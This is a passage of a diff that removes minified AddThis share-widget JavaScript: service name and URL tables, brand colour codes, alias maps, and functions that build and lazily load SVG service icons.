-                        url: 'svejo.net'
-                    },
-                    symbaloo: {},
-                    taringa: {
-                        name: 'Taringa!',
-                        url: 'taringa.net'
-                    },
-                    technerd: {
-                        name: 'Communicate'
-                    },
-                    telegram: {
-                        url: 'telegram.org'
-                    },
-                    tencentqq: {
-                        name: 'Tencent QQ',
-                        supportsImage: !0,
-                        url: 'im.qq.com'
-                    },
-                    tencentweibo: {
-                        name: 'Tencent Weibo',
-                        url: 't.qq.com'
-                    },
-                    thefancy: {
-                        name: 'Fancy'
-                    },
-                    thefreedictionary: {
-                        name: 'FreeDictionary'
-                    },
-                    trello: {},
-                    tuenti: {},
-                    tumblr: {
-                        top: 1
-                    },
-                    twitter: {
-                        top: 1,
-                        referrers: ['t.co']
-                    },
-                    typepad: {},
-                    urlaubswerkde: {
-                        name: 'Urlaubswerk',
-                        url: 'urlaubswerk.de'
-                    },
-                    viadeo: {},
-                    viber: {},
-                    virb: {},
-                    visitezmonsite: {
-                        name: 'Visitez Mon Site'
-                    },
-                    vk: {
-                        name: 'Vkontakte',
-                        supportsImage: !0,
-                        top: 1
-                    },
-                    vkrugudruzei: {
-                        name: 'vKruguDruzei',
-                        url: 'vkrugudruzei.ru'
-                    },
-                    vybralisme: {
-                        name: 'vybrali SME',
-                        url: 'vybrali.sme.sk'
-                    },
-                    w3validator: {
-                        name: 'HTML Validator',
-                        url: 'validator.w3.org'
-                    },
-                    wanelo: {},
-                    wechat: {
-                        name: 'WeChat'
-                    },
-                    weheartit: {
-                        name: 'We Heart It',
-                        supportsImage: !0
-                    },
-                    whatsapp: {
-                        name: 'WhatsApp',
-                        top: 1
-                    },
-                    wishmindr: {
-                        name: 'WishMindr'
-                    },
-                    wordpress: {
-                        name: 'WordPress'
-                    },
-                    wykop: {
-                        top: 1,
-                        url: 'wykop.pl'
-                    },
-                    xing: {
-                        name: 'XING'
-                    },
-                    yahoomail: {
-                        name: 'Yahoo Mail',
-                        url: 'mail.yahoo.com'
-                    },
-                    yammer: {},
-                    yoolink: {
-                        url: 'yoolink.fr'
-                    },
-                    yummly: {
-                        supportsImage: !0
-                    },
-                    yuuby: {},
-                    zakladoknet: {
-                        name: 'Zakladok.net',
-                        url: 'zakladok.net'
-                    },
-                    ziczac: {
-                        name: 'ZicZac',
-                        url: 'ziczac.it'
-                    }
-                };
-            },
-            (e, t) => {
-                e.exports = {
-                    '500px': {},
-                    aboutme: {
-                        name: 'About.me'
-                    },
-                    bandcamp: {},
-                    behance: {},
-                    bitbucket: {
-                        name: 'BitBucket'
-                    },
-                    blogger: {
-                        top: 1
-                    },
-                    deviantart: {
-                        name: 'DeviantArt'
-                    },
-                    digg: {
-                        top: 1
-                    },
-                    disqus: {},
-                    dribbble: {},
-                    ello: {},
-                    etsy: {},
-                    facebook: {
-                        top: 1
-                    },
-                    flickr: {},
-                    foursquare: {},
-                    github: {
-                        name: 'GitHub'
-                    },
-                    gitlab: {
-                        name: 'GitLab'
-                    },
-                    goodreads: {},
-                    hackernews: {
-                        name: 'Hacker News'
-                    },
-                    houzz: {},
-                    instagram: {},
-                    jsfiddle: {
-                        name: 'JSFiddle'
-                    },
-                    letterboxd: {},
-                    linkedin: {
-                        name: 'LinkedIn',
-                        top: 1
-                    },
-                    mailto: {
-                        name: 'Email App',
-                        top: 1
-                    },
-                    medium: {},
-                    meetvibe: {
-                        name: 'MeetVibe'
-                    },
-                    messenger: {},
-                    mixcloud: {
-                        name: 'MixCloud'
-                    },
-                    myspace: {
-                        top: 1
-                    },
-                    odnoklassniki_ru: {
-                        name: 'Odnoklassniki'
-                    },
-                    periscope: {},
-                    pinterest: {},
-                    pocket: {},
-                    quora: {},
-                    ravelry: {},
-                    reddit: {
-                        top: 1
-                    },
-                    renren: {},
-                    rss: {
-                        name: 'RSS'
-                    },
-                    scoopit: {
-                        name: 'Scoop.it'
-                    },
-                    sinaweibo: {
-                        name: 'Sina Weibo',
-                        top: 1
-                    },
-                    skype: {},
-                    slashdot: {
-                        name: 'SlashDot'
-                    },
-                    slideshare: {
-                        name: 'SlideShare'
-                    },
-                    snapchat: {},
-                    soundcloud: {
-                        name: 'SoundCloud'
-                    },
-                    spotify: {},
-                    stack_exchange: {
-                        name: 'Stack Exchange'
-                    },
-                    stack_overflow: {
-                        name: 'Stack Overflow'
-                    },
-                    steam: {},
-                    stumbleupon: {
-                        name: 'MIX',
-                        top: 1
-                    },
-                    telegram: {},
-                    tumblr: {
-                        top: 1
-                    },
-                    twitch: {},
-                    twitter: {
-                        top: 1
-                    },
-                    untappd: {},
-                    vero: {},
-                    vimeo: {},
-                    vine: {},
-                    vk: {
-                        name: 'Vkontakte',
-                        top: 1
-                    },
-                    wechat: {
-                        name: 'WeChat'
-                    },
-                    weheartit: {
-                        name: 'We Heart It'
-                    },
-                    wordpress: {
-                        name: 'WordPress'
-                    },
-                    xing: {
-                        name: 'XING'
-                    },
-                    yelp: {},
-                    youtube: {
-                        name: 'YouTube'
-                    },
-                    yummly: {}
-                };
-            },
-            (e, t) => {
-                (e.exports = {
-                    addthis: {
-                        top: 1,
-                        list: !1
-                    },
-                    compact: {
-                        top: 1,
-                        name: 'More',
-                        list: !1
-                    },
-                    expanded: {
-                        list: !1
-                    },
-                    menu: {
-                        url: 'api.addthis.com',
-                        list: !1
-                    },
-                    more: {
-                        top: 1,
-                        list: !1
-                    }
-                }),
-                (e.exports.shareService = 'compact');
-            },
-            (e, t) => {
-                e.exports = {
-                    addressbar: 'Address Bar',
-                    counter: 'AddThis',
-                    stumbleupon_badge: 'StumbleUpon',
-                    tweet: 'Tweet',
-                    twitter_follow_native: 'Twitter',
-                    linkedin_counter: 'LinkedIn',
-                    facebook_like: 'Facebook Like',
-                    facebook_share: 'Facebook Share',
-                    facebook_send: 'Facebook Send',
-                    pinterest_pinit: 'Pinterest Pin It'
-                };
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = (e, t) => ('addthis' === e ? 'AddThis' : t ? e : e.substr(0, 1).toUpperCase() + e.substr(1));
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(79);
-                var i = n(80);
-                var o = '585858';
-                e.exports = (e) => {
-                    var t = a[e] || e;
-                    var n = i[t] || o;
-                    return ('#' + n).toLowerCase();
-                };
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = {
-                    pinterest: 'pinterest_share',
-                    pinterest_follow: 'pinterest_share',
-                    foursquare_follow: 'foursquare',
-                    google_plusone: 'google_plusone_share',
-                    googleplus: 'google_plusone_share',
-                    google_follow: 'google_plusone_share',
-                    RSS: 'rss',
-                    compact: 'addthis',
-                    expanded: 'addthis',
-                    menu: 'addthis',
-                    more: 'addthis',
-                    counter: 'addthis',
-                    facebook_like: 'facebook',
-                    facebook_share: 'facebook',
-                    facebook_send: 'facebook',
-                    linkedin_counter: 'linkedin',
-                    pinterest_pinit: 'pinterest_share',
-                    stumbleupon_badge: 'stumbleupon',
-                    tweet: 'twitter'
-                };
-            },
-            (e, t) => {
-                e.exports = {
-                    '500px': '222222',
-                    '100zakladok': '6C8DBE',
-                    aboutme: '054A76',
-                    addthis: 'FF6550',
-                    adfty: '9dcb43',
-                    adifni: '3888c8',
-                    advqr: 'EC5923',
-                    aim: '8db81d',
-                    amazonsmile: 'FF9900',
-                    amazonwishlist: 'FF9900',
-                    amenme: '0872d8',
-                    aolmail: '282828',
-                    apsense: 'd78818',
-                    atavi: 'F26747',
-                    baidu: '1d2fe3',
-                    balatarin: '019949',
-                    bandcamp: '60929C',
-                    beat100: '3399CA',
-                    behance: '176AFF',
-                    bitbucket: '215081',
-                    bitly: 'f26e2a',
-                    bizsugar: '1F72EA',
-                    bland: 'f07b16',
-                    blogger: 'F57D00',
-                    blogkeen: 'db69b6',
-                    blogmarks: 'A3DE38',
-                    bobrdobr: '2874C7',
-                    bonzobox: 'c83828',
-                    bookmarkycz: 'a81818',
-                    bookmerkende: '558c15',
-                    box: '3088b1',
-                    buffer: '000000',
-                    camyoo: 'ace8f7',
-                    care2: '6CB440',
-                    cashme: '28C101',
-                    citeulike: '0888c8',
-                    cleanprint: '97ba7a',
-                    cleansave: '5BA741',
-                    cloob: '3BB44B',
-                    cosmiq: '4ca8d8',
-                    cssbased: '394918',
-                    delicious: '3399FF',
-                    deviantart: '05CC47',
-                    diary_ru: '932C2E',
-                    digg: '221E1E',
-                    diggita: '88b748',
-                    diigo: '0888d8',
-                    disqus: '2E9FFF',
-                    dribbble: 'EA4C89',
-                    domaintoolswhois: '305891',
-                    douban: '0e7512',
-                    draugiem: 'f47312',
-                    edcast: 'E03E7C',
-                    efactor: '7797b7',
-                    ello: '000000',
-                    email: '848484',
-                    etsy: 'EA6D24',
-                    evernote: '7fce2c',
-                    exchangle: 'cc0033',
-                    fabulously40: '620e18',
-                    facebook: '3B5998',
-                    facenama: '00699D',
-                    fashiolista: '383838',
-                    favable: '009ce9',
-                    faves: '08aed9',
-                    favorites: 'f5ca59',
-                    favoritus: '97462e',
-                    financialjuice: '242D38',
-                    flickr: '282828',
-                    flipboard: 'f52828',
-                    folkd: '175ca6',
-                    foodlve: 'd51e48',
-                    foursquare: '2D5BE3',
-                    gg: 'D7232D',
-                    github: '171515',
-                    gitlab: 'E3421C',
-                    gmail: 'DB4437',
-                    goodreads: '39210D',
-                    google: '4285F4',
-                    google_classroom: '25A667',
-                    google_follow: 'CF4832',
-                    google_plusone_share: 'DC4E41',
-                    googletranslate: '2c72c8',
-                    govn: '0ca8ec',
-                    hackernews: 'FF6600',
-                    hatena: '08aed9',
-                    hedgehogs: '080808',
-                    historious: 'b84949',
-                    hootsuite: '000000',
-                    hotmail: 'f89839',
-                    houzz: '74B943',
-                    indexor: '8bd878',
-                    informazione: '104F6E',
-                    instagram: 'E03566',
-                    instapaper: '000000',
-                    internetarchive: '6e6e6e',
-                    iorbix: '384853',
-                    jappy: 'f59216',
-                    jsfiddle: '4478A6',
-                    kakao: 'FAB900',
-                    kakaotalk: 'FAB900',
-                    kaixin: 'dd394e',
-                    ketnooi: '1888b9',
-                    kindleit: '282828',
-                    kledy: '8db81d',
-                    letterboxd: '73D448',
-                    lidar: '2ca8d2',
-                    lineme: '00B900',
-                    link: '178BF4',
-                    linkedin: '0077B5',
-                    linkuj: '5898d9',
-                    livejournal: '0ca8ec',
-                    margarin: 'FD934A',
-                    markme: 'd80808',
-                    medium: '272727',
-                    meetvibe: 'EB304B',
-                    meinvz: 'FF781E',
-                    memonic: '083568',
-                    memori: 'ee2271',
-                    meneame: 'ff6400',
-                    mendeley: 'af122b',
-                    messenger: '0084FF',
-                    mixcloud: '314359',
-                    mixi: 'cfab59',
-                    moemesto: '3B5E80',
-                    mrcnetworkit: 'abd4ec',
-                    mymailru: '165496',
-                    myspace: '282828',
-                    myvidster: '93F217',
-                    n4g: 'd80808',
-                    naszaklasa: '4077a7',
-                    netvibes: '48d828',
-                    netvouz: '4EBD08',
-                    newsmeback: '316896',
-                    newsvine: '64a556',
-                    nujij: 'c8080a',
-                    nurses_lounge: '0971BA',
-                    odnoklassniki_ru: 'd57819',
-                    oknotizie: '8BC53E',
-                    onenote: '7321A6',
-                    openthedoor: '2277BB',
-                    oyyla: 'f6cf0e',
-                    pafnetde: 'f4080d',
-                    patreon: '232d32',
-                    paypalme: '0070ba',
-                    pdfmyurl: 'f89823',
-                    periscope: '3FA4C4',
-                    pinboard: '1111AA',
-                    pinterest: 'CB2027',
-                    pinterest_share: 'CB2027',
-                    plurk: 'd56a32',
-                    pocket: 'EE4056',
-                    posteezy: 'f8ce2c',
-                    print: '738a8d',
-                    printfriendly: '88b748',
-                    pusha: '0878ba',
-                    quantcast: '0878ba',
-                    quora: 'B92B27',
-                    qrsrc: '4A8BF6',
-                    qzone: '0985DD',
-                    ravelry: 'DD0F56',
-                    reddit: 'ff5700',
-                    rediff: 'd80808',
-                    renren: '0058AE',
-                    researchgate: '00CCBB',
-                    retellity: 'B70100',
-                    rss: 'EF8647',
-                    safelinking: '3888c8',
-                    scoopit: '9dcb43',
-                    slashdot: '78D4B6',
-                    slideshare: '00A7AA',
-                    snapchat: 'FFDD00',
-                    sharer: '0888C8',
-                    sinaweibo: 'E6162D',
-                    skyrock: '282828',
-                    skype: '00AFF0',
-                    slack: '4A154B',
-                    smiru: 'af122b',
-                    sms: '1ECE8E',
-                    sodahead: 'ff8c00',
-                    soundcloud: 'FF7700',
-                    spinsnap: '9dcb43',
-                    spotify: '23CF5F',
-                    stack_overflow: 'EF8236',
-                    stack_exchange: '1E5296',
-                    startaid: '4498c8',
-                    startlap: '4891b7',
-                    steam: '010103',
-                    studivz: 'DA060D',
-                    stuffpit: '2c72c8',
-                    stumbleupon: 'EB4924',
-                    mixcom: 'DD1C1C',
-                    stumpedia: 'FC9707',
-                    stylishhome: 'bfd08d',
-                    supbro: '383838',
-                    surfingbird: '0ca8ec',
-                    svejo: 'f89823',
-                    symbaloo: '4077a7',
-                    taringa: '165496',
-                    technerd: '316896',
-                    telegram: '0088CC',
-                    tencentqq: '000000',
-                    tencentweibo: '319EDD',
-                    thefancy: '4ca8d8',
-                    thefreedictionary: '4891b7',
-                    thisnext: '282828',
-                    trello: '0079BF',
-                    tuenti: '5f729d',
-                    tumblr: '37455C',
-                    twitch: '6441A5',
-                    twitter: '1DA1F2',
-                    typepad: '080808',
-                    untappd: 'FFCD00',
-                    urlaubswerkde: 'f89823',
-                    venmo: '3D95CE',
-                    vero: '00CCCC',
-                    viadeo: 'f07355',
-                    viber: '7B519D',
-                    vimeo: '1AB7EA',
-                    vine: '01B488',
-                    virb: '08aed9',
-                    visitezmonsite: '7DD6EA',
-                    vk: '6383A8',
-                    vkrugudruzei: 'e65229',
-                    voxopolis: '1097eb',
-                    vybralisme: '318ef6',
-                    w3validator: '165496',
-                    wanelo: 'CCCCCC',
-                    wechat: '2DC100',
-                    weheartit: 'FF4477',
-                    whatsapp: '4DC247',
-                    wishmindr: 'EF474F',
-                    wordpress: '585858',
-                    wykop: 'FB803F',
-                    xing: '1a7576',
-                    yahoomail: '3a234f',
-                    yammer: '2ca8d2',
-                    yelp: 'C60D00',
-                    yookos: '0898d8',
-                    yoolink: 'A5C736',
-                    yorumcuyum: '597DA3',
-                    youmob: '191847',
-                    youtube: 'CD201F',
-                    yummly: 'E26221',
-                    yuuby: '290838',
-                    zakladoknet: '9CCC00',
-                    ziczac: 'FF891F',
-                    zingme: 'F02972'
-                };
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = document.implementation.hasFeature('http://www.w3.org/TR/SVG11/feature#Image', '1.1');
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t, n, a, i, o, s, u, l, f, p, h, m, g) {
-                    var _;
-                    var v;
-                    var b;
-                    var w;
-                    var x;
-                    var y = (0, r.default)(e, g);
-                    if (!y) return null;
-                    (_ = {
-                        fill: o,
-                        width: a,
-                        height: a
-                    }),
-                    (v = {
-                        title: n,
-                        alt: t
-                    }),
-                    (b = {
-                        backgroundColor: i,
-                        lineHeight: s,
-                        height: s,
-                        width: u,
-                        borderRadius: l,
-                        borderWidth: f,
-                        borderStyle: p,
-                        borderColor: h
-                    }),
-                    (w = (0, d.default)(y, _)),
-                    (w = (0, c.default)(w, v));
-                    var k = document.createElement('span');
-                    return (k.className = 'at-icon-wrapper'), k.appendChild(w), m && k.appendChild(m), (x = (0, d.default)(k, b));
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(83);
-                var r = a(o);
-                var s = n(319);
-                var d = a(s);
-                var u = n(320);
-                var c = a(u);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t) {
-                    (0, s.default)('string' == typeof e, 'Invalid required argument `service`. Got %s, expected string.', e);
-                    var n = c(e);
-                    return (h[n] = 1), (0, u.default)(n, t);
-                }
-                function o() {
-                    var e = [];
-                    for (var t in h) e.push(t);
-                    return e;
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i),
-                    (t.getIncludedIcons = o);
-                var r = (n(84), n(21));
-                var s = a(r);
-                var d = n(85);
-                var u = a(d);
-                var c = n(315).getIconCode;
-                var l = document.createElement('style');
-                var f = document.body || document.getElementsByTagName('head')[0];
-                var p = 0;
-                var h = {};
-                (l.id = 'service-icons-' + p++), f.appendChild(l);
-            },
-            (e, t) => {
-                'use strict';
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                t.FILE_FORMAT_SVG = 'SVG';
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e) {
-                    if (e && e.__esModule) return e;
-                    var t = {};
-                    if (null != e)
-                        for (var n in e) Object.prototype.hasOwnProperty.call(e, n) && (t[n] = e[n]);
-                    return (t.default = e), t;
-                }
-                function o(e, t) {
-                    var n = document.createElement('title');
-                    return (n.id = t), (n.textContent = (0, b.default)(e)), n;
-                }
-                function r(e) {
-                    var t = document.createElementNS(y, 'svg');
-                    t.setAttribute('xmlns', y), t.setAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'), t.setAttribute('viewBox', '0 0 32 32'), ++k;
-                    var n = 'at-svg-' + e + '-' + k;
-                    return t.setAttribute('version', '1.1'), t.setAttribute('role', 'img'), t.setAttribute('aria-labelledby', n), t.appendChild(o(e, n)), t;
-                }
-                function s(e, t) {
-                    if ('svg' !== e.tagName.toLowerCase()) {
-                        for (var n = t.ownerDocument.createElementNS(y, e.tagName), a = 0; a < e.attributes.length; a++) {
-                            var i = e.attributes[a];
-                            var o = i.name;
-                            var r = i.value;
-                            n.setAttribute(o, r);
-                        }
-                        t.appendChild(n);
-                    }
-                    for (var d = 0; d < e.childNodes.length; d++) {
-                        var u = e.childNodes[d];
-                        s(u, t);
-                    }
-                    return t;
-                }
-                function d(e) {
-                    for (; 1 === e.childNodes.length;) e = e.childNodes[0];
-                    return e;
-                }
-                function u(e, t, n) {
-                    x[e] ? x[e].push(t) : (x[e] = [t]),
-                        m.svg[e]((a) => {
-                            w[e] = s(d((0, _.default)(a)), t.ownerDocument.createElementNS(y, 'g'));
-                            for (var i = 0; i < x[e].length; i++) {
-                                var o = x[e][i];
-                                c(e, o);
-                            }
-                            (x[e] = []), n && n();
-                        });
-                }
-                function c(e, t) {
-                    t.appendChild(w[e].cloneNode(!0));
-                }
-                function l(e, t) {
-                    var n = r(e);
-                    return w[e] ? (c(e, n), t && t()) : u(e, n, t), (n.className.baseVal = 'at-icon at-icon-' + e), n;
-                }
-                function f(e, t) {
-                    m.svg[e] && m.svg[e](t);
-                }
-                function p(e, t) {
-                    return m.svg[e] || (e = 'unknown'), l(e, t);
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.getIconMarkup = f),
-                    (t.default = p);
-                var h = n(86);
-                var m = i(h);
-                var g = n(314);
-                var _ = a(g);
-                var v = n(72);
-                var b = a(v);
-                var w = {};
-                var x = {};
-                var y = 'http://www.w3.org/2000/svg';
-                var k = 0;
-            },
-            (e, t, n) => {
-                var a = {};
-                (a.digg = (e) => {
-                    e(n(87));
-                }),
-                (a.facebook = (e) => {
-                    e(n(88));
-                }),
-                (a.google = (e) => {
-                    e(n(89));
-                }),
-                (a.linkedin = (e) => {
-                    e(n(90));
-                }),
-                (a.reddit = (e) => {
-                    e(n(91));
-                }),
-                (a.stumbleupon = (e) => {
-                    e(n(92));
-                }),
-                (a.tumblr = (e) => {
-                    e(n(93));
-                }),
-                (a.twitter = (e) => {
-                    e(n(94));
-                }),
-                (a.myspace = (e) => {
-                    e(n(95));
-                }),
-                (a.blogger = (e) => {
-                    e(n(96));
-                }),
-                (a.print = (e) => {
-                    e(n(97));
-                }),
-                (a.favorites = (e) => {
-                    e(n(98));
-                }),
-                (a.email = (e) => {
-                    e(n(99));
-                }),
-                (a.wykop = (e) => {
-                    e(n(100));
-                }),
-                (a.mailto = (e) => {
-                    e(n(101));
-                }),
-                (a.sinaweibo = (e) => {
-                    e(n(102));
-                }),
-                (a.vk = (e) => {
-                    e(n(103));
-                }),
-                (a.pinterest_share = (e) => {
-                    e(n(104));
-                }),
-                (a.whatsapp = (e) => {
-                    e(n(105));
-                }),
-                (a.addthis = (e) => {
-                    e(n(106));
-                }),
-                (a.aim = (e) => {
-                    n.e(2, () => {
-                        e(n(107));
-                    });
-                }),
-                (a.amazonwishlist = (e) => {
-                    n.e(3, () => {
-                        e(n(108));
-                    });
-                }),
-                (a.bitly = (e) => {
-                    n.e(4, () => {
-                        e(n(109));
-                    });
-                }),
-                (a.blogmarks = (e) => {
-                    n.e(5, () => {
-                        e(n(110));
-                    });
-                }),
-                (a.diigo = (e) => {
-                    n.e(6, () => {
-                        e(n(111));
-                    });
-                }),
-                (a.hatena = (e) => {
-                    n.e(7, () => {
-                        e(n(112));
-                    });
-                }),
-                (a.meneame = (e) => {
-                    n.e(8, () => {
-                        e(n(113));
-                    });
-                }),
-                (a.netvibes = (e) => {
-                    n.e(9, () => {
-                        e(n(114));
-                    });
-                }),
-                (a.netvouz = (e) => {
-                    n.e(10, () => {
-                        e(n(115));
-                    });
-                }),
-                (a.newsvine = (e) => {
-                    n.e(11, () => {
-                        e(n(116));
-                    });
-                }),
-                (a.nujij = (e) => {
-                    n.e(12, () => {
-                        e(n(117));
-                    });
-                }),
-                (a.livejournal = (e) => {
-                    n.e(13, () => {
-                        e(n(118));
-                    });
-                }),
-                (a.gmail = (e) => {
-                    n.e(14, () => {
-                        e(n(119));
-                    });
-                }),
-                (a.hotmail = (e) => {
-                    n.e(15, () => {
-                        e(n(120));
-                    });
-                }),
-                (a.yahoomail = (e) => {
-                    n.e(16, () => {
-                        e(n(121));
-                    });
-                }),
-                (a.aolmail = (e) => {
-                    n.e(17, () => {
-                        e(n(122));
-                    });
-                }),
-                (a.googletranslate = (e) => {
-                    n.e(18, () => {
-                        e(n(123));
-                    });
-                }),
-                (a.wordpress = (e) => {
-                    n.e(19, () => {
-                        e(n(124));
-                    });
-                }),
-                (a.typepad = (e) => {
-                    n.e(20, () => {
-                        e(n(125));
-                    });
-                }),
-                (a.yammer = (e) => {
-                    n.e(21, () => {
-                        e(n(126));
-                    });
-                }),
-                (a.oknotizie = (e) => {
-                    n.e(22, () => {
-                        e(n(127));
-                    });
-                }),
-                (a.oyyla = (e) => {
-                    n.e(23, () => {
-                        e(n(128));
-                    });
-                }),
-                (a.favoritus = (e) => {
-                    n.e(24, () => {
-                        e(n(129));
-                    });
-                }),
-                (a.startaid = (e) => {
-                    n.e(25, () => {
-                        e(n(130));
-                    });
-                }),
-                (a.svejo = (e) => {
-                    n.e(26, () => {
-                        e(n(131));
-                    });
-                }),
-                (a.symbaloo = (e) => {
-                    n.e(27, () => {
-                        e(n(132));
-                    });
-                }),
-                (a.yoolink = (e) => {
-                    n.e(28, () => {
-                        e(n(133));
-                    });
-                }),
-                (a.n4g = (e) => {
-                    n.e(29, () => {
-                        e(n(134));
-                    });
-                }),
-                (a.folkd = (e) => {
-                    n.e(30, () => {
-                        e(n(135));
-                    });
-                }),
-                (a.evernote = (e) => {
-                    n.e(31, () => {
-                        e(n(136));
-                    });
-                }),
-                (a.stumpedia = (e) => {
-                    n.e(32, () => {
-                        e(n(137));
-                    });
-                }),
-                (a.studivz = (e) => {
-                    n.e(33, () => {
-                        e(n(138));
-                    });
-                }),
-                (a.pusha = (e) => {
-                    n.e(34, () => {
-                        e(n(139));
-                    });
-                }),
-                (a.kledy = (e) => {
-                    n.e(35, () => {
-                        e(n(140));
-                    });
-                }),
-                (a.plurk = (e) => {
-                    n.e(36, () => {
-                        e(n(141));
-                    });
-                }),
-                (a.citeulike = (e) => {
-                    n.e(37, () => {
-                        e(n(142));
-                    });
-                }),
-                (a.care2 = (e) => {
-                    n.e(38, () => {
-                        e(n(143));
-                    });
-                }),
-                (a.baidu = (e) => {
-                    n.e(39, () => {
-                        e(n(144));
-                    });
-                }),
-                (a.printfriendly = (e) => {
-                    n.e(40, () => {
-                        e(n(145));
-                    });
-                }),
-                (a.sodahead = (e) => {
-                    n.e(41, () => {
-                        e(n(146));
-                    });
-                }),
-                (a.viadeo = (e) => {
-                    n.e(42, () => {
-                        e(n(147));
-                    });
-                }),
-                (a.amenme = (e) => {
-                    n.e(43, () => {
-                        e(n(148));
-                    });
-                }),
-                (a.virb = (e) => {
-                    n.e(44, () => {
-                        e(n(149));
-                    });
-                }),
-                (a.bizsugar = (e) => {
-                    n.e(45, () => {
-                        e(n(150));
-                    });
-                }),
-                (a.bobrdobr = (e) => {
-                    n.e(46, () => {
-                        e(n(151));
-                    });
-                }),
-                (a.stuffpit = (e) => {
-                    n.e(47, () => {
-                        e(n(152));
-                    });
-                }),
-                (a.hackernews = (e) => {
-                    n.e(48, () => {
-                        e(n(153));
-                    });
-                }),
-                (a.bonzobox = (e) => {
-                    n.e(49, () => {
-                        e(n(154));
-                    });
-                }),
-                (a.meinvz = (e) => {
-                    n.e(50, () => {
-                        e(n(155));
-                    });
-                }),
-                (a.visitezmonsite = (e) => {
-                    n.e(51, () => {
-                        e(n(156));
-                    });
-                }),
-                (a.diggita = (e) => {
-                    n.e(52, () => {
-                        e(n(157));
-                    });
-                }),
-                (a.linkuj = (e) => {
-                    n.e(53, () => {
-                        e(n(158));
-                    });
-                }),
-                (a.tuenti = (e) => {
-                    n.e(54, () => {
-                        e(n(159));
-                    });
-                }),
-                (a.informazione = (e) => {
-                    n.e(55, () => {
-                        e(n(160));
-                    });
-                }),
-                (a.startlap = (e) => {
-                    n.e(56, () => {
-                        e(n(161));
-                    });
-                }),
-                (a.moemesto = (e) => {
-                    n.e(57, () => {
-                        e(n(162));
-                    });
-                }),
-                (a['100zakladok'] = (e) => {
-                    n.e(58, () => {
-                        e(n(163));
-                    });
-                }),
-                (a.domaintoolswhois = (e) => {
-                    n.e(59, () => {
-                        e(n(164));
-                    });
-                }),
-                (a.quantcast = (e) => {
-                    n.e(60, () => {
-                        e(n(165));
-                    });
-                }),
-                (a.w3validator = (e) => {
-                    n.e(61, () => {
-                        e(n(166));
-                    });
-                }),
-                (a.hedgehogs = (e) => {
-                    n.e(62, () => {
-                        e(n(167));
-                    });
-                }),
-                (a.cosmiq = (e) => {
-                    n.e(63, () => {
-                        e(n(168));
-                    });
-                }),
-                (a.instapaper = (e) => {
-                    n.e(64, () => {
-                        e(n(169));
-                    });
-                }),
-                (a.ziczac = (e) => {
-                    n.e(65, () => {
-                        e(n(170));
-                    });
-                }),
-                (a.adifni = (e) => {
-                    n.e(66, () => {
-                        e(n(171));
-                    });
-                }),
-                (a.favable = (e) => {
-                    n.e(67, () => {
-                        e(n(172));
-                    });
-                }),
-                (a.camyoo = (e) => {
-                    n.e(68, () => {
-                        e(n(173));
-                    });
-                }),
-                (a.box = (e) => {
-                    n.e(69, () => {
-                        e(n(174));
-                    });
-                }),
-                (a.bookmarkycz = (e) => {
-                    n.e(70, () => {
-                        e(n(175));
-                    });
-                }),
-                (a.etsy = (e) => {
-                    n.e(71, () => {
-                        e(n(176));
-                    });
-                }),
-                (a.bookmerkende = (e) => {
-                    n.e(72, () => {
-                        e(n(177));
-                    });
-                }),
-                (a.posteezy = (e) => {
-                    n.e(73, () => {
-                        e(n(178));
-                    });
-                }),
-                (a.zakladoknet = (e) => {
-                    n.e(74, () => {
-                        e(n(179));
-                    });
-                }),
-                (a.douban = (e) => {
-                    n.e(75, () => {
-                        e(n(180));
-                    });
-                }),
-                (a.pdfmyurl = (e) => {
-                    n.e(76, () => {
-                        e(n(181));
-                    });
-                }),
-                (a.rediff = (e) => {
-                    n.e(77, () => {
-                        e(n(182));
-                    });
-                }),
-                (a.markme = (e) => {
-                    n.e(78, () => {
-                        e(n(183));
-                    });
-                }),
-                (a.naszaklasa = (e) => {
-                    n.e(79, () => {
-                        e(n(184));
-                    });
-                }),
-                (a.vybralisme = (e) => {
-                    n.e(80, () => {
-                        e(n(185));
-                    });
-                }),
-                (a.mymailru = (e) => {
-                    n.e(81, () => {
-                        e(n(186));
-                    });
-                }),
-                (a.qzone = (e) => {
-                    n.e(82, () => {
-                        e(n(187));
-                    });
-                }),
-                (a.xing = (e) => {
-                    n.e(83, () => {
-                        e(n(188));
-                    });
-                }),
-                (a.fashiolista = (e) => {
-                    n.e(84, () => {
-                        e(n(189));
-                    });
-                }),
-                (a.iorbix = (e) => {
-                    n.e(85, () => {
-                        e(n(190));
-                    });
-                }),
-                (a.urlaubswerkde = (e) => {
-                    n.e(86, () => {
-                        e(n(191));
-                    });
-                }),
-                (a.mrcnetworkit = (e) => {
-                    n.e(87, () => {
-                        e(n(192));
-                    });
-                }),
-                (a.pafnetde = (e) => {
-                    n.e(88, () => {
-                        e(n(193));
-                    });
-                }),
-                (a.spinsnap = (e) => {
-                    n.e(89, () => {
-                        e(n(194));
-                    });
-                }),
-                (a.technerd = (e) => {
-                    n.e(90, () => {
-                        e(n(195));
-                    });
-                }),
-                (a.thefreedictionary = (e) => {
-                    n.e(91, () => {
-                        e(n(196));
-                    });
-                }),
-                (a.yuuby = (e) => {
-                    n.e(92, () => {
-                        e(n(197));
-                    });
-                }),
-                (a.adfty = (e) => {
-                    n.e(93, () => {
-                        e(n(198));
-                    });
-                }),
-                (a.draugiem = (e) => {
-                    n.e(94, () => {
-                        e(n(199));
-                    });
-                }),
-                (a.historious = (e) => {
-                    n.e(95, () => {
-                        e(n(200));
-                    });
-                }),
-                (a.indexor = (e) => {
-                    n.e(96, () => {
-                        e(n(201));
-                    });
-                }),
